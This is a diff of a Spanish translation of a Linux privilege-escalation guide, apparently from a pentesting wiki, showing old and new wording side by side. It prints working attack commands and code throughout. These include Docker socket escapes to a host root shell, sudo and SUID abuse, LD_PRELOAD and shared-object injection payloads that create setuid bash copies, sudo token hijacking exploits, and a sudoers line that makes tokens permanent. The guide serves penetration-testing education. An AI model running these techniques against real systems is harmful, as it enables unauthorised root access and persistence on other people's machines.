+Si tienes acceso de escritura al Docker socket, puedes escalar privilegios usando los siguientes comandos:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-Estos comandos te permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host.
+Estas comandos te permiten ejecutar un container con acceso con privilegios de root al sistema de archivos del host.
-#### **Usando Docker API directamente**
+#### **Uso directo de la Docker API**
-En casos donde el Docker CLI no está disponible, el Docker socket aún puede manipularse usando la Docker API y comandos `curl`.
+En casos en los que el Docker CLI no esté disponible, el Docker socket todavía puede manipularse usando la Docker API y comandos `curl`.
-1. **List Docker Images:** Recupera la lista de imágenes disponibles.
+1. **Listar imágenes de Docker:** Recupera la lista de imágenes disponibles.
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Create a Container:** Envía una petición para crear un contenedor que monte el directorio raíz del sistema host.
+2. **Crear un container:** Envía una petición para crear un container que monte el directorio raíz del sistema host.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
-Inicia el contenedor recién creado:
+Inicia el container recién creado:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **Attach to the Container:** Usa `socat` para establecer una conexión con el contenedor, permitiendo la ejecución de comandos dentro de éste.
+3. **Adjuntar al container:** Usa `socat` para establecer una conexión con el container, habilitando la ejecución de comandos dentro de él.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -590,13 +589,13 @@ Connection: Upgrade
Upgrade: tcp
```
-Tras establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso a nivel root al sistema de archivos del host.
+Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el container con acceso a nivel root al sistema de archivos del host.
-### Others
+### Otros
-Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **dentro del grupo `docker`** tienes [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/index.html#docker-group). Si la [**Docker API está escuchando en un puerto** puedes también llegar a comprometerla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
-Check **more ways to break out from docker or abuse it to escalate privileges** in:
+Consulta **más formas de escapar de Docker o abusarlo para escalar privilegios** en:
{{#ref}}
@@ -605,7 +604,7 @@ docker-security/
## Containerd (ctr) privilege escalation
-Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **you may be able to abuse it to escalate privileges**:
+Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **puedes ser capaz de abusar de él para escalate privileges**:
{{#ref}}
@@ -614,7 +613,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** privilege escalation
-Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **you may be able to abuse it to escalate privileges**:
+Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **puedes ser capaz de abusar de él para escalate privileges**:
{{#ref}}
@@ -623,15 +622,15 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus es un sofisticado sistema de **comunicación entre procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos eficientemente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
+D-Bus es un sofisticado sistema de comunicación entre procesos (IPC) que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado pensando en los sistemas Linux modernos, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
-El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, de forma similar a **sockets de dominio UNIX mejorados**. Además, ayuda en la emisión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
+El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a los **enhanced UNIX domain sockets**. Además, ayuda a la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede provocar que un reproductor de música silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
-D-Bus opera con un **allow/deny model**, gestionando permisos de mensajes (llamadas de método, emisiones de señales, etc.) basándose en el efecto acumulado de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, y potencialmente permiten privilege escalation mediante la explotación de estos permisos.
+D-Bus opera con un **modelo allow/deny**, gestionando los permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de las reglas de la política que coincidan. Estas políticas especifican interacciones con el bus, pudiendo permitir una escalada de privilegios mediante la explotación de dichos permisos.
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`.
-Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas.
+Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas.
```xml
@@ -640,18 +639,18 @@ Las políticas sin un usuario o grupo especificado se aplican universalmente, mi
```
-**Aprende cómo enumerate y exploit una comunicación D-Bus aquí:**
+**Aprende cómo enumerar y explotar una comunicación D-Bus aquí:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
{{#endref}}
-## **Network**
+## **Red**
-Siempre es interesante enumerate la network y determinar la posición de la máquina.
+Siempre es interesante enumerar la red y determinar la posición de la máquina.
-### Generic enumeration
+### Enumeración genérica
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -676,14 +675,14 @@ lsof -i
```
### Puertos abiertos
-Siempre revisa los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella:
+Siempre verifica los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de capturar algunas credentials.
+Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credentials.
```
timeout 1 tcpdump
```
@@ -691,7 +690,7 @@ timeout 1 tcpdump
### Enumeración genérica
-Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **privilegios de root**:
+Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges**:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -715,12 +714,12 @@ gpg --list-keys 2>/dev/null
```
### UID grande
-Algunas versiones de Linux se vieron afectadas por una falla que permite a usuarios con **UID > INT_MAX** to escalate privileges. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
-**Exploit it** using: **`systemd-run -t /bin/bash`**
+Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+**Explotarlo** usando: **`systemd-run -t /bin/bash`**
### Grupos
-Comprueba si eres **miembro de algún grupo** que podría otorgarte root privileges:
+Comprueba si eres **miembro de algún grupo** que podría otorgarte privilegios root:
{{#ref}}
@@ -750,18 +749,18 @@ Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cad
### Su Brute
-Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar brute-force a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar hacer brute-force a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta brute-force a usuarios.
## Abusos en $PATH escribible
### $PATH
-Si descubres que puedes **escribir en alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una backdoor dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se cargue desde una carpeta situada antes** de tu carpeta escribible en el $PATH.
+Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios creando un backdoor dentro de la carpeta escribible con el nombre de algún comando que va a ser ejecutado por un usuario distinto (idealmente root) y que **no se cargue desde una carpeta que esté ubicada antes** de tu carpeta escribible en el $PATH.
### SUDO and SUID
-Podrías poder ejecutar comandos con sudo o que tengan el bit suid. Compruébalo usando:
+Podrías tener permitido ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -777,37 +776,37 @@ less>!
```
### NOPASSWD
-La configuración de sudo puede permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
+La configuración de sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener una shell añadiendo una ssh key en el directorio `root` o llamando a `sh`.
+En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener una shell agregando una ssh key en el root directory o llamando a `sh`.
```
sudo vim -c '!sh'
```
### SETENV
-Esta directiva permite al usuario **set an environment variable** al ejecutar algo:
+Esta directiva permite al usuario **establecer una variable de entorno** mientras ejecuta algo:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una librería python arbitraria mientras se ejecutaba el script como root:
+Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca python arbitraria al ejecutar el script como root:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
-### BASH_ENV preservado vía sudo env_keep → root shell
+### BASH_ENV preservado mediante sudo env_keep → root shell
-Si sudoers preserva `BASH_ENV` (p. ej., `Defaults env_keep+="ENV BASH_ENV"`), puedes aprovechar el comportamiento de inicio no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido.
+Si sudoers preserva `BASH_ENV` (p. ej., `Defaults env_keep+="ENV BASH_ENV"`), puedes aprovechar el comportamiento de arranque no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido.
-- Why it works: Para shells no interactivos, Bash evalúa `$BASH_ENV` y carga ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. Si `BASH_ENV` es preservado por sudo, tu archivo se carga (sourced) con privilegios de root.
+- Por qué funciona: Para shells no interactivos, Bash evalúa `$BASH_ENV` y carga ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. Si `BASH_ENV` es preservado por sudo, tu archivo se carga con privilegios de root.
-- Requirements:
-- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
-- `BASH_ENV` present in `env_keep` (check with `sudo -l`).
+- Requisitos:
+- Una regla de sudo que puedas ejecutar (cualquier target que invoque `/bin/bash` de forma no interactiva, o cualquier bash script).
+- `BASH_ENV` presente en `env_keep` (verificar con `sudo -l`).
- PoC:
```bash
@@ -820,11 +819,11 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/
# You should now have a root shell
```
- Hardening:
-- Eliminar `BASH_ENV` (y `ENV`) de `env_keep`; usar `env_reset`.
-- Evitar wrappers de shell para comandos permitidos por sudo; usar binarios mínimos.
-- Considerar I/O logging y alerting de sudo cuando se usen env vars preservadas.
+- Eliminar `BASH_ENV` (and `ENV`) de `env_keep`, prefer `env_reset`.
+- Evitar shell wrappers para sudo-allowed commands; usar minimal binaries.
+- Considerar sudo I/O logging y alerting cuando se usan preserved env vars.
-### Rutas que permiten eludir la ejecución de sudo
+### Rutas de bypass de ejecución de Sudo
**Saltar** para leer otros archivos o usar **symlinks**. Por ejemplo en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
@@ -836,7 +835,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
-Si se usa un **wildcard** (\*), es aún más fácil:
+Si se utiliza un **wildcard** (\*), es aún más fácil:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
@@ -845,37 +844,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo command/SUID binary sin la ruta del comando
-Si se da el **permiso sudo** a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH
+Si el permiso de **sudo** se da a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Esta técnica también se puede usar si un binario **suid** **ejecuta otro comando sin especificar la ruta hacia él (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**).
+Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre revisa con** _**strings**_ **el contenido de un binario SUID extraño)**.
[Payload examples to execute.](payloads-to-execute.md)
-### Binario SUID con ruta al comando
+### Binario SUID con ruta de comando
-Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando.
+Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando.
-For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it:
+Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Then, when you call the suid binary, this function will be executed
+Entonces, cuando llames al binario suid, esta función se ejecutará
### LD_PRELOAD & **LD_LIBRARY_PATH**
-La variable de entorno **LD_PRELOAD** se usa para especificar una o más bibliotecas compartidas (.so files) que serán cargadas por el loader antes que las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precargar una biblioteca.
+La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que serán cargadas por el loader antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precargar una biblioteca.
-Sin embargo, para mantener la seguridad del sistema y evitar que esta funcionalidad sea explotada, especialmente con ejecutables **suid/sgid**, el sistema aplica ciertas condiciones:
+Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
-- El loader ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real ( _ruid_ ) no coincide con el ID de usuario efectivo ( _euid_ ).
+- El loader no tiene en cuenta **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también sean suid/sgid.
-Puede ocurrir una escalada de privilegios si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados.
+Privilege escalation puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la instrucción **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que podría llevar a la ejecución de código arbitrario con privilegios elevados.
```
Defaults env_keep += LD_PRELOAD
```
@@ -897,12 +896,12 @@ Luego, **compílalo** usando:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-Finalmente, **elevar privilegios** ejecutando
+Finalmente, **escalar privilegios** ejecutando
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las bibliotecas.
+> Una privesc similar puede ser abusada si el attacker controla la **LD_LIBRARY_PATH** env variable, ya que controla la ruta donde se buscarán las bibliotecas.
```c
#include
#include
@@ -924,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-Cuando te encuentres con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando:
+Al encontrar un binario con permisos **SUID** que parece inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto puede comprobarse ejecutando el siguiente comando:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posible oportunidad de explotación.
+Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere un potencial para exploitation.
-Para explotarlo, se procedería creando un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código:
+Para exploit esto, se procedería a crear un archivo en C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código:
```c
#include
#include
@@ -941,13 +940,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando los permisos de archivos y ejecutando una shell con privilegios elevados.
+Este código, una vez compilado y ejecutado, busca elevar privilegios manipulando permisos de archivos y ejecutando un shell con privilegios elevados.
-Compile el archivo C anterior en un archivo de objeto compartido (.so) con:
+Compila el archivo C anterior en un objeto compartido (.so) con:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo un posible compromiso del sistema.
+Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo una posible compromisión del sistema.
## Shared Object Hijacking
```bash
@@ -959,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, creemos la library en esa carpeta con el nombre necesario:
+Ahora que hemos encontrado un binario SUID que carga una biblioteca desde una carpeta en la que podemos escribir, creemos la biblioteca en dicha carpeta con el nombre necesario:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -980,9 +979,9 @@ eso significa que la biblioteca que has generado necesita tener una función lla
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que un atacante puede explotar para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
+[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos en los que **solo puedes inyectar argumentos** en un comando.
-El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-explotación.
+El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells y facilitar otras tareas de post-exploitation.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -1005,46 +1004,46 @@ Si puedes ejecutar `sudo -l` puedes usar la herramienta [**FallOfSudo**](https:/
### Reutilizando Sudo Tokens
-En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios al **esperar la ejecución de un comando sudo y luego secuestrar el token de sesión**.
+En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios esperando a que se ejecute un comando sudo y luego secuestrando el token de sesión.
Requisitos para escalar privilegios:
-- Ya tienes una shell como el usuario "_sampleuser_"
-- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña)
-- `cat /proc/sys/kernel/yama/ptrace_scope` es 0
-- `gdb` es accesible (puedes subirlo)
+- Ya tienes un shell como el usuario "_sampleuser_"
+- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del sudo token que nos permite usar `sudo` sin introducir ninguna contraseña)
+- `cat /proc/sys/kernel/yama/ptrace_scope` debe ser 0
+- `gdb` es accesible (puedas subirlo)
-(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o de forma permanente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`)
+(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`)
Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente una shell root, ejecuta `sudo su`):
+- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el sudo token en tu sesión** (no obtendrás automáticamente una shell root, haz `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- El **segundo exploit** (`exploit_v2.sh`) creará un shell sh en _/tmp_ **propiedad de root con setuid**
+- El **segundo exploit** (`exploit_v2.sh`) creará un sh shell en _/tmp_ **perteneciente a root con setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que **hace que los sudo tokens sean eternos y permite que todos los usuarios usen sudo**
+- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace que **sudo tokens sean eternos y permite a todos los usuarios usar sudo**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\
-Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña ejecutando:
+Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un user y PID**.\
+Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese user con PID 1234, puedes **obtain sudo privileges** sin necesitar conocer la contraseña ejecutando:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\
-**Si** puedes **leer** este archivo podrías **obtener información interesante**, y si puedes **escribir** cualquier archivo podrás **escalar privilegios**.
+**Si** puedes **leer** este archivo podrías ser capaz de **obtener información interesante**, y si puedes **escribir** en cualquiera de estos archivos podrás **escalar privilegios**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@@ -1063,15 +1062,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-Existen algunas alternativas al binario `sudo`, como `doas` para OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf`
+Hay algunas alternativas al binario `sudo`, como `doas` en OpenBSD; recuerda revisar su configuración en `/etc/doas.conf`
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Si sabes que un **usuario suele conectarse a una máquina y utiliza `sudo`** para escalar privilegios y has obtenido un shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo agregando la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo.
+Si sabes que un **usuario suele conectarse a una máquina y usa `sudo`** para escalar privilegios y has obtenido una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecute tu código como root y luego el comando del usuario. Después, **modifica el $PATH** del contexto de usuario (por ejemplo agregando la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo.
-Ten en cuenta que si el usuario usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
O ejecutando algo como:
```bash
@@ -1088,16 +1087,16 @@ zsh
echo $PATH
sudo ls
```
-## Librería compartida
+## Biblioteca compartida
### ld.so
-The file `/etc/ld.so.conf` indicates **de dónde provienen los archivos de configuración cargados**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf`
+The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf`
-That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** **librerías**. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Esto significa que el sistema buscará librerías dentro de `/usr/local/lib`**.
+That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. Estos archivos de configuración **apuntan a otras carpetas** donde las **bibliotecas** van a ser **buscadas**. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**.
-If for some reason **un usuario tiene permisos de escritura** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` podría escalar privilegios.\
-Take a look at **cómo explotar esta mala configuración** in the following page:
+If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\
+Consulta **cómo explotar esta configuración incorrecta** en la siguiente página:
{{#ref}}
@@ -1115,7 +1114,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-Al copiar la biblioteca en `/var/tmp/flag15/`, será utilizada por el programa en ese lugar según lo especificado en la variable `RPATH`.
+Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en ese lugar según lo especificado en la variable `RPATH`.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
